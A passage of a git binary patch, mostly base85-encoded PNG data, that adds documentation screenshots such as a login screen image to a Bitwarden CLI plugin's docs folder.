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 yx60~&pIVGO1UHsIf%X8Nfq3;>*wbH literal 0 HcmV?d00001 diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/docs/screenshots/12-login.png b/plugins/io.github.elevate08.qs-bitwarden-cli/docs/screenshots/12-login.png new file mode 100644 index 0000000000000000000000000000000000000000..606063bfd272c2da317666d89405df2ae521fb3b GIT binary patch literal 45427 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 